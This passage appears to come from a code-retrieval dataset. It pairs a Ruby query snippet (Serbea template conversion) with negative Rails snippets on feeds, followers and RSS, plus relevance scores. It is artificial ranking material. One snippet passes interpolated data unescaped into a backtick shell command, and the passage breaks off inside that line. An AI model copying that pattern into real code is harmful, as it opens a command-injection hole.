uuid: SecureRandom.uuid,\n title: entry.title,\n url: entry.url.match(GOOGLE_URI_REGEX)[0],\n published_datetime: entry.published,\n published_unixtime: entry.published.to_i\n }\n end\n end", "def get_feed(params)\n\n #Rails.logger.info(\" [RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] Entering\")\n\n url = process_node(params)\n\n if url && String === url && url !~ /^http/ && params[:url]\n url = URI.join(params[:url] , url).to_s\n elsif url && Array === url\n url.map! do |u|\n if u !~ /^http/ && params[:url]\n URI.join(params[:url], u).to_s\n else\n u\n end\n end\n url.uniq!\n end\n\n #Rails.logger.info(\" [RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] Leaving\")\n params[:output][\"feed\"] = url\n\n rescue => e\n Rails.logger.error(\"[RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] **** RESCUE **** #{e.message} \")\n nil\n end", "def feeds\n profile = Profile.find(params[:id])\n profile.feeds\n redirect_to lato_profile_path(profile)\n end", "def feed_url\n blog_index_url(format: :rss)\n end", "def show_nouser\n @feed = Feed.find_by_uid!(params[:feed])\n feed_uids = Rails.cache.fetch [:feed_uids, @feed] do\n [@feed.uid] + @feed.children.pluck(:uid)\n end\n\n if @date.nil?\n @date = @feed.last_paper_date\n end\n\n @backdate = _backdate(@date, @range)\n @recent_comments = _recent_comments(feed_uids)\n @papers, @pagination = _range_query(feed_uids, @backdate, @date, @page)\n\n render 'feeds/show'\n end", "def show\n @entries = @feed.entries.for_user(current_user.id, @@per_page).paginate(page: params[:page], per_page: @@per_page).set_read_attribute\n @unread_entries_count = @feed.entries.for_user(current_user.id,nil).where(reads: {read: false}).count\n end", "def feed\n # defer to Micropost.from_users_followed_by\n Micropost.from_users_followed_by(self)\n end", "def show\n @rss_feed = RssFeed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rss_feed }\n end\n end", "def feed\n @posts = Post.all\n\n render_view(:feed)\n end", "def get_feed\n if (feed = Canvas::CourseProvision.new(session[:user_id], options_from_params).get_feed)\n render json: feed.to_json\n else\n render nothing: true, status: 401\n end\n end", "def recent_activity\n doc = request(@user, \"recentactivity\")\n items = []\n doc.xpath('//rss/channel/item').each do |node|\n items << { :title => node.xpath('title').text.strip,\n :link => node.xpath('link').text.strip,\n :description => node.xpath('description').text.strip,\n :date => node.xpath('pubDate').text.strip,\n :track => node.xpath('mm:Track/dc:title').text.strip,\n :artist => node.xpath('mm:Artist/dc:title').text.strip,\n :album => node.xpath('mm:Album/dc:title').text.strip,\n :artwork => node.xpath('pandora:albumArtUrl').text.strip,\n :station => node.xpath('pandora:stationLink').text.strip}\n end\n items\n end", "def friend_feed(options={})\n get('/feed', options)\n end", "def rss \n @vote_topics = VoteTopic.rss\n respond_to do |format|\n format.rss\n end\n end", "def index\n @feeds = Feed.all\n\n # fetching a single feed\n #@feed = Feedzirra::Feed.fetch_and_parse(\"http://feeds.feedburner.com/PaulDixExplainsNothing\")\n\n # @entries = @feed.entries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @feeds }\n end\n end", "def show_selected_rss_logs(query, args = {})\n store_query_in_session(query)\n query_params_set(query)\n\n includes = {\n article: :user,\n glossary_term: :user,\n location: :user,\n name: :user,\n observation: [:location, :name, :user,\n @user ? { thumb_image: :image_votes } : :thumb_image],\n project: :user,\n species_list: [:location, :user]\n }\n\n args = {\n action: \"list_rss_logs\",\n matrix: true,\n include: includes\n }.merge(args)\n\n @types = query.params[:type].to_s.split.sort\n @links = []\n\n # Let the user make this their default and fine tune.\n if @user\n if params[:make_default] == \"1\"\n @user.default_rss_type = @types.join(\" \")\n @user.save_without_our_callbacks\n elsif @user.default_rss_type.to_s.split.sort != @types\n @links << [:rss_make_default.t,\n add_query_param(action: \"index_rss_log\", make_default: 1)]\n end\n end\n\n show_index_of_objects(query, args)\n end" ]
[ "0.7430607", "0.73258257", "0.7184785", "0.6987977", "0.69465137", "0.68156934", "0.6808813", "0.6795361", "0.6777236", "0.6725853", "0.6668379", "0.6661176", "0.6636824", "0.6610064", "0.65650886", "0.65381676", "0.6523088", "0.65117896", "0.65061224", "0.6505545", "0.6499362", "0.64848125", "0.64743376", "0.6443201", "0.6415598", "0.6412551", "0.64054143", "0.6401139", "0.6398567", "0.6382851", "0.63817066", "0.63728577", "0.6367133", "0.636689", "0.6360471", "0.6336957", "0.6310668", "0.6289342", "0.6288161", "0.6230296", "0.6230296", "0.6230296", "0.6227395", "0.6224031", "0.62199223", "0.62130296", "0.62125295", "0.62041914", "0.6200875", "0.6170591", "0.6166994", "0.61621016", "0.6157308", "0.6150076", "0.61438274", "0.6139115", "0.61369926", "0.6132908", "0.61220986", "0.61135274", "0.6109772", "0.60798347", "0.60706294", "0.60480815", "0.6047755", "0.6047589", "0.6042308", "0.60408634", "0.60364693", "0.6034941", "0.6034941", "0.6034941", "0.6034941", "0.6034941", "0.6034941", "0.6034941", "0.6034941", "0.60206527", "0.60203874", "0.6017978", "0.60040134", "0.6002004", "0.60004276", "0.59977174", "0.59902674", "0.5979594", "0.5975275", "0.5973555", "0.597009", "0.5965364", "0.5960009", "0.59565383", "0.5956409", "0.5952471", "0.59440964", "0.5940867", "0.593723", "0.5932679", "0.5932539", "0.59188867" ]
0.83902174
0
Collects notes, posts and followings of interest to the specified user, based on the list of users that the specified user is following.
def gather_feed_items(user = nil) if user # Notes left on your posts and pictures notes_on_your_posts = [] user.posts.each do |post| notes_on_your_posts = smush(notes_on_your_posts, post.notes) post.pictures.each do |picture| notes_on_your_posts = smush(notes_on_your_posts, picture.notes) end end # Notes left by people the current user is following notes_left_by_followees = [] # Notes left on posts owned by people the current user is following notes_left_on_followees_posts = [] # Notes left on pictures owned by people the current user is following notes_left_on_followees_pictures = [] # Posts created by people the current user is following posts_by_followees = [] # Followings of people the current user is following following_followees = [] # People the current user is following, following other people followees_following = [] user.followees.each do |followee| posts_by_followees = smush(posts_by_followees, followee.posts) notes_left_by_followees = smush(notes_left_by_followees, followee.notes) followee.posts.each do |post| notes_left_on_followees_posts = smush(notes_left_on_followees_posts, post.notes) post.pictures.each do |picture| notes_left_on_followees_pictures = smush(notes_left_on_followees_pictures, picture.notes) end end following_followees = smush(following_followees, Follow.find_all_by_followee_id(followee.id, :conditions => "follower_id <> #{user.id}")) followees_following = smush(followees_following, Follow.find_all_by_follower_id(followee.id, :conditions => "follower_id <> #{user.id}")) end # Remove totally blank posts from feed posts_by_followees.each do |post| if post.title.blank? and post.content.blank? and post.pictures.length == 0 posts_by_followees.delete(post) end end blavel_posts = User.find_by_login('blavel') ? User.find_by_login('blavel').posts : nil posts = smush(posts_by_followees, blavel_posts) if posts posts = posts.uniq end # Remove notes left by logged in user notes = smush(notes_on_your_posts, notes_left_by_followees, notes_left_on_followees_posts, notes_left_on_followees_pictures) notes.each do |note| if note.user == user notes.delete(note) end end notes = notes.uniq # Add together follows following_you = Follow.find_all_by_followee_id(user.id) follows = smush(following_you, following_followees, followees_following) follows = follows.uniq else # If no user is specified, return all feed items notes = Note.find(:all) posts = Post.find(:all) follows = Follow.find(:all) # Remove totally blank posts from feed posts.each do |post| if post.title.blank? and post.content.blank? and post.pictures.length == 0 posts.delete(post) end end end feed_items = smush(notes, posts, follows) feed_items.sort! { |x,y| y.created_at <=> x.created_at } feed_items = feed_items[0..19] return feed_items end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_user_posts_by_following\n self.following.collect do |followed|\n followed.get_user_posts\n end\n end", "def followings_who_reposted(user)\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n repost_ids = \"SELECT user_id FROM reposts\n WHERE micropost_id = :micropost_id\"\n User.where(\"id IN (#{following_ids})\n AND id IN (#{repost_ids})\", user_id: user.id, micropost_id: id)\n end", "def follow_user\n\t\tauthenticate_current_user\n\t\t# add the current user to the user they followed list of followers\n\t\tUser.find(params.user_id).followers.push(User.find(current_user.id))\n\t\t# run the following action to return the updated group of followers\n\t\tfollowing\n\tend", "def get_user_posts_by_following\n\t\tself.following.collect do |followed|\n\t\t\tfollowed.get_user_posts\n\t\tend\n end", "def following\n\t\tauthenticate_current_user\n\t\t# grab all the current user's following\n\t\tfollowing = UserFollower.where(user_follower_id: current_user.id)\n\t\t# create an empty array\n\t\tfollowing_group = []\n\t\t# rotate through each following returned, and grab the user object\n\t\tfollowing.each do |x|\n\t\t\t# push each following user object into array\n\t\t\tfollowing_group.push(User.find(x.user_id))\n\t\tend\n\t\t# respond with the array of following user objects\n\t\trespond_with following_group\n\n\tend", "def get_current_user_posts_by_following\n\t\tcurrent_user.following.collect do |followed|\n\t\t\tfollowed.get_user_posts\n\t\tend\n end", "def followings\n @hot_topics = Topic.hot_topics(5)\n @interviewee = User.where(:nickname => params[:id]).first\n @is_same_user = @interviewee.is_same_user?(@current_user)\n \n @followings = @interviewee.followings\n end", "def follow(other_user)\n following << other_user\n end", "def follow(other_user)\n following << other_user\n end", "def follow(other_user)\n following << other_user\n end", "def follow(other_user)\n following << other_user\n end", "def follow(other_user)\n following << other_user\n end", "def follow(other_user)\n following << other_user\n end", "def followings\n b=BeFollow.scoped_by_follower_id(self.id)\n user_ids=b.map do |a|\n a.user.id\n end\n User.find_all_by_id(user_ids)\n end", "def follow(other_user)\n following << other_user\n end", "def following_record(user)\n followings_as_follower.find_by(user: user)\n end", "def followings\n @followees = @user.followees.order(created_at: :desc) # order the followings(the people that current_user follows) according to when they were followed by current_user, with the most recent following at the top.\n end", "def following\n # collect all the users ids that this user is following\n following_ids = follows.pluck(:following_id)\n User.where(id: following_ids)\n end", "def following\n users = connection.get(\n \"/users/#{CGI.escape(login)}/following\"\n )\n\n users.map do |stalkee|\n self.class.new(stalkee, connection)\n end\n end", "def notify_users\n ([requested_by, owned_by] + notes.map(&:user)).compact.uniq\n end", "def follows_given(user_id)\n follows = Follow.where(user_id: user_id)\n end", "def follow_user(user)\n # Ternary to prevent duplicates\n following?(user) ? following : following << user\n end", "def users_following_on_yammer(yammer_user, client = self.yammer_client)\n return [] unless client.authenticated?\n Rails.logger.debug {\"#{Time.now.to_formatted_s(:db)} - Fetching users that this user follows: (#{self.log_label})\"}\n\n set = client.users_followed_by(yammer_user.id).users.try(:collect) do |yc|\n User.from_yammer(yc)\n end\n return set || []\n rescue YammerClient::Unauthorized => e\n return [] \n end", "def following_list\n User.joins(\"INNER JOIN followings ON followings.followed_id = users.id WHERE followings.follower_id = #{self.id}\").select(\"users.*\")\n end", "def follow(user)\n\t self[:following].push(user.id)\n\t\tself.save\n end", "def follow(*user_ids)\n query_params = user_ids.pop if user_ids.last.is_a?(::Hash)\n query_params ||= {}\n filter(query_params.merge(:follow => user_ids))\n end", "def follow(user)\n self.following << user\n ActionLog.log_other(self.id, \"follow\", user) \n end", "def followers(user=nil)\n\t\tcursor = -1\n\t\tpage = 0\n\t\tfollowers = []\n\t\tbegin\n\t\t\tfollowerspage = followers_by_cursor( user, cursor )\n\t\t\tpage += 1\n\t\t\tputs \"page #{page}/cursor #{cursor} - found #{followerspage[\"users\"].size} followers. Next cursor: #{followerspage[\"next_cursor\"]}\"\n\t\t\tfollowers += followerspage[\"users\"] if followerspage[\"users\"]\n\t\t\tcursor = followerspage[\"next_cursor\"]\n\t\tend until cursor == 0\n\t\tfollowers\n\trescue => err\n\t\tputs \"Exception in followers: #{err}\"\n\t\traise err\n\tend", "def followUser(userToFollow)\n @followers << userToFollow\n end", "def followees\n list = service.find_user_follows(user).map {|data| build_object(data)}\n followees = list.map {|followee| followee.login}\n end", "def home\n @songs = Array.new\n following = Array.new\n following.push(current_user.id)\n for @f in current_user.following do\n following.push(@f.id)\n end\n@posts = Post.where(\"user_id IN (?)\", following)\n@userpost = Post.all.where(\"user_id = ?\", current_user.id)\n\n@followers = Relationship.all.where(\"followed_id = ?\", current_user.id)\n@following = Relationship.all.where(\"follower_id = ?\", current_user.id)\n @newpost = Post.new\n end", "def follow!(user)\n\t\tfollowed << user \n\tend", "def followings\n @followings = @other_user.followings.paginate(:page => params[:page], :per_page => 20)\n end", "def following\n optional! :offset, type: Integer, default: 0\n optional! :limit, type: Integer, default: 20, values: 1..150\n\n @users = @user.follow_users.fields_for_list.order(\"actions.id asc\").offset(params[:offset]).limit(params[:limit])\n end", "def index\n @users = User.all.order(\"created_at DESC\")\n if user_signed_in?\n following_list = current_user.following\n following_list << current_user unless following_list.include? current_user\n @whisprs = Whispr.includes(:comments).of_followed_users(following_list).order(\"created_at DESC\")\n else\n @whisprs = Whispr.includes(:comments).all.order(\"created_at DESC\")\n end\n\n @whispr = Whispr.new\n end", "def arel_others_retweets_from_self_and_followed_users_of(user)\n messages = Message.arel_table\n retweets = Retweet.arel_table\n\n # retweets and messages join condition\n join_cond = retweets[:message_id].eq(messages[:id])\n\n # collect retweet ids\n retweet_ids =\n retweets\n .project(retweets[:id].minimum)\n .join(messages).on(join_cond)\n .where(\n retweets[:user_id].in(User.self_and_followed_users_ids_of(user).arel)\n .and(\n messages[:user_id].not_in(User.self_and_followed_users_ids_of(user).arel)\n )\n )\n .group(retweets[:message_id])\n\n # return messages of that retweet ids\n messages\n .join(retweets).on(join_cond)\n .where(retweets[:id].in(retweet_ids))\n end", "def follow!(user)\n\t\tfollowed << user\n\tend", "def user_ids_following_from(users)\n existing_friend_following = Follow.select(\"following_id\").where(:follower_type => 'User', :follower_id => self[:id], :following_type => 'User', :following_id => users)\n existing_friend_following.to_a.inject({}) do |hash, follow|\n hash[follow[\"following_id\"]] = follow\n hash\n end\n end", "def followings\n followings = []\n User.all.each do |user|\n followings << user if self.following?(user)\n end\n followings\n end", "def followers\n optional! :offset, type: Integer, default: 0\n optional! :limit, type: Integer, default: 20, values: 1..150\n\n @users = @user.follow_by_users.fields_for_list.order(\"actions.id asc\").offset(params[:offset]).limit(params[:limit])\n end", "def followers\n @hot_topics = Topic.hot_topics(5)\n @interviewee = User.where(:nickname => params[:id]).first\n @is_same_user = @interviewee.is_same_user?(@current_user)\n \n @followers = @interviewee.followers\n @current_user.refresh_notifications(\"new_followers_count\")\n end", "def get_potential_follows_from_mimic(user)\n # iterate over the mimics in the table\n follow_lists = []\n user.mimics.each do |mimic|\n follow_lists << get_followers(user, mimic.twitter_id)\n end\n\n# Rails.logger.debug follow_lists.to_yaml\n follow_lists\n\n end", "def user_follows \n if user_signed_in?\n Rails.logger.debug { \"The user to be followed is #{params[:id]}\" }\n user = User.find(id: params[:id])\n user.follows << current_user\n end\n end", "def owner_as_well_as_all_mentioned_users_and_artists_except(user_or_artist_id, user = true)\n participating_users_and_artists = []\n if user && !self.user_id.blank? && user_or_artist_id != self.user_id \n participating_users_and_artists << self.user.mention_name\n elsif !user && !self.artist_id.blank? && !user_or_artist_id == self.artist_id \n participating_users_and_artists << self.artist.mention_name\n elsif !user && !self.user.nil?\n participating_users_and_artists << self.user.mention_name\n elsif user && !self.artist.nil?\n participating_users_and_artists << self.artist.mention_name\n end\n \n self.mentioned_posts.each do |mentioned_post|\n if !mentioned_post.user_id.blank?\n if user\n if !mentioned_post.user.nil? && mentioned_post.user_id != user_or_artist_id\n participating_users_and_artists << mentioned_post.user.mention_name\n end\n else\n participating_users_and_artists << mentioned_post.artist.mention_name unless mentioned_post.artist.nil?\n end\n elsif !mentioned_post.artist_id.blank?\n if !user\n if !mentioned_post.artist.nil? && mentioned_post.artist_id != user_or_artist_id\n participating_users_and_artists << mentioned_post.artist.mention_name\n end\n else\n participating_users_and_artists << mentioned_post.user.mention_name unless mentioned_post.user.nil?\n end\n end\n end\n return participating_users_and_artists \n end", "def home\n following = Array.new\n #checks the database for who the user is following.\n for @f in current_user.following do\n following.push(@f.id)\n end\n \n #only posts from users in the following array are collected.\n @posts = Post.all.where(\"user_id = ?\", following)\n @newPost = Post.new\n end", "def index\n @users = User.all_except(current_user)\n @current_user_followings = current_user.followeds\n end", "def friends\n @user ||= auth_user\n friends = ::User.search_users_in_circle(@user).results\n following_user_ids = ::Stores::Following.where(user_id: @user.id).collect(&:follower_user_id) # others following user\n followings = ::Stores::Following.where(follower_user_id: @user.id).includes(:user).order('last_traded_at desc, id desc') # user following others, already ordered newest to oldest\n followed_user_ids = Set.new # for excluding the non-followers\n both_side_followers = []\n one_side_followers = []\n bound = :circle\n user_ids_to_exclude = []\n auth_user.boundaries.group_by(&:type).each do|btype, blist|\n case btype\n when 'Users::ChildCircleOption'\n case blist.first.content_keyword\n when 'GRADE_ONLY'\n bound = :grade\n when 'CLASS_ONLY'\n bound = :class\n end\n when 'Users::UserBlock'\n user_ids_to_exclude = user_ids_to_exclude + ::Users::Boundary.extract_content_values_from_list(blist)\n end\n end\n followings.each do|following|\n user = following.user\n is_mutual = following_user_ids.include?(following.user_id) # y is also following user\n user.is_follower = true\n user.is_mutual_friend = is_mutual\n if is_mutual\n both_side_followers << user.as_more_json({}, auth_user.id)\n else\n if bound.eql? :circle and ::Schools::SchoolGroup.grades_around(auth_user.grade).include?(user.grade)\n one_side_followers << user.as_more_json({}, auth_user.id)\n elsif bound.eql? :grade and auth_user.grade.eql?(user.grade)\n one_side_followers << user.as_more_json({}, auth_user.id)\n elsif bound.eql? :class and auth_user.teacher.eql? user.teacher\n one_side_followers << user.as_more_json({}, auth_user.id)\n end\n end\n logger.debug \" | %20s | %1s | %10d\" % [user.user_name, is_mutual ? 'B' : 's', following.id]\n followed_user_ids << following.user_id\n end\n non_followers = friends.find_all {|friend| !followed_user_ids.include?(friend.id) }.sort{|x,y| y.id <=> x.id } # newest registered friends\n logger.debug \"-------- #{both_side_followers.size} both side, #{one_side_followers.size} one side, #{non_followers.size} non-followers\"\n @friends = both_side_followers + one_side_followers + non_followers.as_json\n #if they're blocked, remove them regardless.\n result = @friends.map do |friend|\n if not user_ids_to_exclude.include?(friend['id'])\n friend\n else\n nil\n end\n end\n result = result.compact\n respond_to do|format|\n format.json { render json:{ success: true, users: result} }\n format.html\n end\n end", "def followers\n list = service.find_followers(user).map {|data| build_object(data)}\n followers = list.map {|follower| follower.login}\n end", "def fetch_user_and_followings\n @user = User.find(params[:followee_id])\n @follow = Follow.find_by(follower_id: current_user.id, followee_id: params[:followee_id])\n end", "def following\n @following||= get(\"/user/show/#{login}/following\")['users'].map { |u| User.new(connection, :login => u) }\n end", "def follow(other_user)\n following << other_user unless self == other_user\n end", "def show_all_followees\n \n # Get the specified user, making sure that it exists\n if !@user = User.find_by_login(params[:user_login])\n raise ActiveRecord::RecordNotFound\n end\n \n # Pass through the set of users that are being followed by the specified \n # user\n @followees = @user.followees\n end", "def index\n # Get shared notes for the user\n @shared_note_ids = ShareNote.where('user_profile_id = ?', session[:user_id]).pluck(:note_id)\n @notes = Note.where(\n 'created_by = ? or public_view = ? or id in (?)',\n session[:user_id], true, @shared_note_ids\n )\n ###\n # Get usernames for public note\n @user_names = {}\n @notes.each do |note|\n unless note.created_by.to_s.eql? session[:user_id].to_s\n user_details = UserProfile.find(note.created_by)\n @user_names[user_details.id.to_s] = user_details.name\n end\n end\n end", "def show\n @user = User.find(params[:id])\n @user_opinions = @user.opinions.includes(:author).order('created_at DESC')\n @followers = @user.followers\n @followings = @user.followeds\n @current_user_followings = current_user.followeds\n end", "def followers(user_ids)\n users = []\n user_ids.each do |user_id| \n user = Hashie::Mash.new\n user.user_id = user_id\n\n users << user\n end\n \n users \nend", "def relevant_posts\n\t\tfollowed_posts = Post.followed(@user)\n\t\ttagged_posts = Post.tagged_by_user(@user)\n\t\tfollowed_posts | tagged_posts\n\tend", "def followers(user=nil)\n\t\tself.twitagent.followers(user)\n\trescue => err\n\t\tRAILS_DEFAULT_LOGGER.error \"Failed to get followers via OAuth for #{current_user.inspect}\"\n\t\tflash[:error] = \"Twitter API failure (getting followers)\"\n\t\treturn\n\tend", "def followers\n @followers = @user.followers.order(created_at: :desc) # order the followers(the people that follows current_user) according to when they follow current_user, with the most recent follower at the top.\n end", "def follow\r\n \r\n @followu = FollowUser.where(user_id: @u_id)\r\n @followt = FollowThread.where(user_id: @u_id)\r\n end", "def follow_user_link followed_user\n return if followed_user == current_user\n\n if current_user.followed_user_ids.include?(followed_user.id)\n internal_unfollow_user_link(followed_user)\n else\n internal_follow_user_link(followed_user)\n end\n end", "def followers(user_id = nil)\n twitter_request do\n logger.info \"Get followers of #{user_id || 'me'}\"\n client.follower_ids(user_id).take(5000)\n end\n end", "def posts\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n Micropost.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n end", "def return_list_of_followed_users\n @followees = []\n #We need to add each user to the array - otherwise we return an array of object Follow\n self.follows.each {|f| @followees << f.followed_user}\n @followees\n end", "def get_following(user)\n Follow.find_by(follower_id: self.id, followed_id: user.id)\n end", "def shared_with_following_tips\n follower_ids = user.user_followers.pluck(:id)\n\n @filtered_tips.where(share_following: true, user_id: (follower_ids).uniq).pluck(:id)\n end", "def user_follows user_id, pages: 1\n url = API + \"users/#{user_id}/follows?access_token=\" + @access_token\n pages.times do\n get(url)['data'].map do |user|\n @user_ids << user['id']\n end\n url = get(url)['pagination']['next_url']\n end\n export(@user_id_list, @user_ids)\n end", "def follow(user)\n\tout_followings.create(to_id: user.id)\nend", "def readers_who_follow(user, options={})\n if user\n self.readers.all({:conditions => {:id => user.followers, :is_registered => true}, :limit => 3, :order => 'read_receipts.created_at DESC'}.merge(options))\n else\n false\n end\n end", "def followed_users_and_me\n followed_users + [id]\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @usersList = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def add_follower(user)\n followers << user\n end", "def make_relationships\n users = User.all\n user = users.first\n\n following = users[1..50] # all of the other users our first user should be following.\n followers = users[3..40] # all of the users that are following our first user.\n\n following.each { |followed| user.follow!(followed) }\n followers.each { |follower| follower.follow!(user) }\nend", "def notes\n @user = User.find(params[:id])\n @notes = @user.notes.includes(:author).search_sort_paginate(params, :parent => @user)\n end", "def add_follower(user)\n @followers << user\n end", "def follow!(user)\n followings.find_or_create_by!(following_id: user.id)\n end", "def tourn_listing_wrapper(user)\n user_list = get_user_tourns(user); #get the list\n \n listing = {}; #rtn value\n \n end", "def following(user_id = nil)\n twitter_request do\n logger.info \"Get following of #{user_id || 'me'}\"\n client.friend_ids(user_id).take(5000)\n end\n end", "def following_usernames\n url = [PUBLIC_BASE_URL, 'user/show', self.login, 'following'].join('/')\n JSON.parse(open(url).read)['users']\n end", "def follow\n\t\t@most_active_users.each do |user|\n\t\t\tpath = \"https://github.com/%s/followers\" % [user]\n\t\t\tnavigate(path)\n\n\t\t\tDEFAULT_NUMBER_PAGES.times do |page|\n\t\t\t\tfollow_button = find_many_elements_by_xpath(@follow_xpath)\n\t\t\t\tfollow_button.each { |follow_element| follow_element.submit; sleep 1 }\n\n\t\t\t\tnext_button = find_by_link_text('Next')\n\t\t\t\tnext_button.nil? ? break : next_button.click\n\t\t\tend\n\t\tend\n\tend", "def following\n user = load_user\n\n expose user\n .following\n .includes(:following, :favorite_restaurants)\n .paginate(page: params[:page], per_page: params[:per_page]),\n each_serializer: UserRelationshipSerializer\n end", "def followers\n rels = Relationship.where(followed_id: self.id)\n followers = []\n rels.each do |rel|\n followers << User.find(rel.follower_id)\n end\n followers\n end", "def followers \r\n\tlovers = []\r\n\tself.likes.each do |l|\r\n\t\tlovers << l.user\r\n\tend\r\n\tself.feature_groups.each do |fg|\r\n\t\tfg.features.each do |f|\r\n\t\t\tf.likes.each do |l|\r\n\t\t\t\tlovers << l.user\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\treturn lovers.unique\r\n end", "def get_followings(user1)\n $redis2.fetch(\"followings/#{user1.cache_key}\") do\n ids = Follow.where(user: user1).pluck(:following_id)\n User.where(id: ids)\n end\n end", "def following\r\n @title = \"Following\"\r\n @user = User.find(params[:id])\r\n @users = @user.followed_users.paginate(page: params[:page], per_page: 25)\r\n render 'show_follow'\r\n end", "def all_following( options={} )\n\t\t\t\tall_follows( options ).collect{ |f| f.followed }\n\t\t\tend", "def feed\n #Micropost.where(\"user_id IN (:following_ids) OR user_id = :user_id\",\n #following_ids: following_ids, user_id: id)\n # Efficient way of using user_id\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n Micropost.where(\"user_id IN (#{following_ids}) OR user_id = :user_id\", user_id: id)\n end", "def following\n @following = current_user.following.order(\"username\").page(params[:page]).per(10)\n end", "def followers\n @followers = @other_user.followers.paginate(:page => params[:page], :per_page => 20)\n end", "def return_list_of_followers\n @followers = []\n #Find the list of users following the current user by searching the followed_user_id\n #We need to add each user to the array - otherwise we return an array of object Follow\n Follow.find(:all, :conditions => {:follow_user_id => self.id}).each {|f| @followers << f.user}\n @followers\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def following\n @title = \"Following\"\n @user = User.find(params[:id])\n @users = @user.followed_users.paginate(page: params[:page])\n render 'show_follow'\n end", "def follow(user)\n active_relationships.create(followed_id: user.id)\n end", "def follow\n check_user_id_is_present\n\n user = User.find_by_id(params[:user_id])\n\n if params[:movie].present?\n movie = Movie.find_by_title(params[:movie])\n\n if user.movies.include? movie\n render json: { response: 'Already followed' }, status: :ok\n end\n\n user.movies << movie\n elsif params[:genre].present?\n genre = Genre.find_by_name(params[:genre])\n\n if genre.nil?\n render json: { response: 'Genre not found' }, status: :not_found\n end\n\n user.genres << genre\n elsif params[:star].present?\n star = Star.find_by_name(params[:star])\n\n if star.nil?\n render json: { response: 'Movie not found' }, status: :bad_request\n end\n\n star.users << user\n end\n\n render json: { response: 'Done' }, status: :ok\n end", "def followed_users\n cached_followed_users\n end", "def follow(user_or_params)\n args = [user_or_params]\n post path_from_args('notifications/follow', args), params_from_args(args).merge({:post => {}})\n end", "def add_follower(user)\n @followers.push(user)\n end", "def index\n @user_followings = UserFollowing.all\n end", "def follow_unfollowing_user\n # Following new users\n # followers - following = need to follow\n begin\n followers = get_followers\n followings = get_followings\n need_to_follow = followers - followings\n rescue\n error_log 'error in follow_unfollowing_user'\n end\n\n log \"need to follow: \"\n for id in need_to_follow do\n log \" #{id}\"\n end\n\n for id in need_to_follow do\n follow_user id\n end\n\n return followings.size + need_to_follow.size\n end" ]
[ "0.66495985", "0.6601784", "0.65935993", "0.6557872", "0.6513237", "0.6489891", "0.6462243", "0.6384748", "0.6384748", "0.6384748", "0.6384748", "0.6384748", "0.6384748", "0.63833135", "0.6382955", "0.6356518", "0.6345423", "0.63440514", "0.63076025", "0.63038784", "0.62393546", "0.6226987", "0.62126344", "0.6210526", "0.61832196", "0.61446923", "0.6140848", "0.61258495", "0.6115146", "0.6112705", "0.6098192", "0.6093747", "0.6083938", "0.6068614", "0.606723", "0.60659677", "0.60628045", "0.6057666", "0.60550815", "0.6044792", "0.603792", "0.5995072", "0.5984026", "0.5966919", "0.59656614", "0.59629637", "0.5960264", "0.5956342", "0.5932352", "0.592912", "0.59224194", "0.59204453", "0.5913192", "0.5908701", "0.59068936", "0.5902848", "0.5898916", "0.58977115", "0.58917636", "0.58852816", "0.5883933", "0.58761126", "0.5871997", "0.58667856", "0.5866396", "0.58662885", "0.5848858", "0.5844794", "0.5842877", "0.58310205", "0.5824695", "0.58175355", "0.580203", "0.5801128", "0.57992834", "0.5790602", "0.57873553", "0.577611", "0.5768778", "0.576797", "0.5762267", "0.57614064", "0.5754439", "0.57417303", "0.5737482", "0.57280535", "0.5716715", "0.5715363", "0.57088023", "0.5705723", "0.5705723", "0.5705723", "0.5704469", "0.57027704", "0.56967163", "0.5688193", "0.5685657", "0.56849825", "0.5682592", "0.5677786" ]
0.6669898
0
Logic to do the Serbea content conversion.
def convert(content, convertible) return content if convertible.data[:template_engine].to_s != "serbea" serb_view = Bridgetown::SerbeaView.new(convertible) serb_renderer = Tilt::SerbeaTemplate.new(convertible.path) { content } if convertible.is_a?(Bridgetown::Layout) serb_renderer.render(serb_view) do convertible.current_document_output end else serb_renderer.render(serb_view) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def convert(content); end", "def convert(content); end", "def convert(content)\n content\n end", "def convert_encoding(content); end", "def transform\n self.output = converter.convert(self.content)\n end", "def convert\n end", "def convert\n end", "def convert(content, convertible = nil) # rubocop:disable Lint/UnusedMethodArgument\n content\n end", "def contents_convert_utf8\n @publication.title = @publication.title ? @publication.title.force_encoding('UTF-8') : \"\"\n @publication.abstract = @publication.abstract ? @publication.abstract.force_encoding('UTF-8') : \"\"\n @publication.contents = @publication.contents ? @publication.contents.force_encoding('UTF-8') : \"\"\n end", "def converter; end", "def convert!; end", "def convert\n raise NotImplementedError\n end", "def process\n convert\n render\n write\n end", "def transform\n renderer.convert(content)\n end", "def transform\n end", "def convert()\n @helper.post(@fields, @files, @raw_data)\n end", "def transform; end", "def converters; end", "def converters; end", "def converters; end", "def transformation\n end", "def convert\n if @catalog[:name] == 'harvard'\n @marcxml.gsub!(/\\n/, '')\n .tr!('\"', '\\'')\n .sub!(/<\\?xml.+?>/, '')\n end\n \n @marcxml.sub!(/<record.+?>/, '<record>') \n @marcxml = \"<?xml version='1.0' encoding='UTF-8'?><collection xmlns='http://www.loc.gov/MARC21/slim'>\" + @marcxml + \"</collection>\"\n # Pretty print the unformatted marcxml for display purposes\n @marcxml = `echo \"#{@marcxml}\" | xmllint 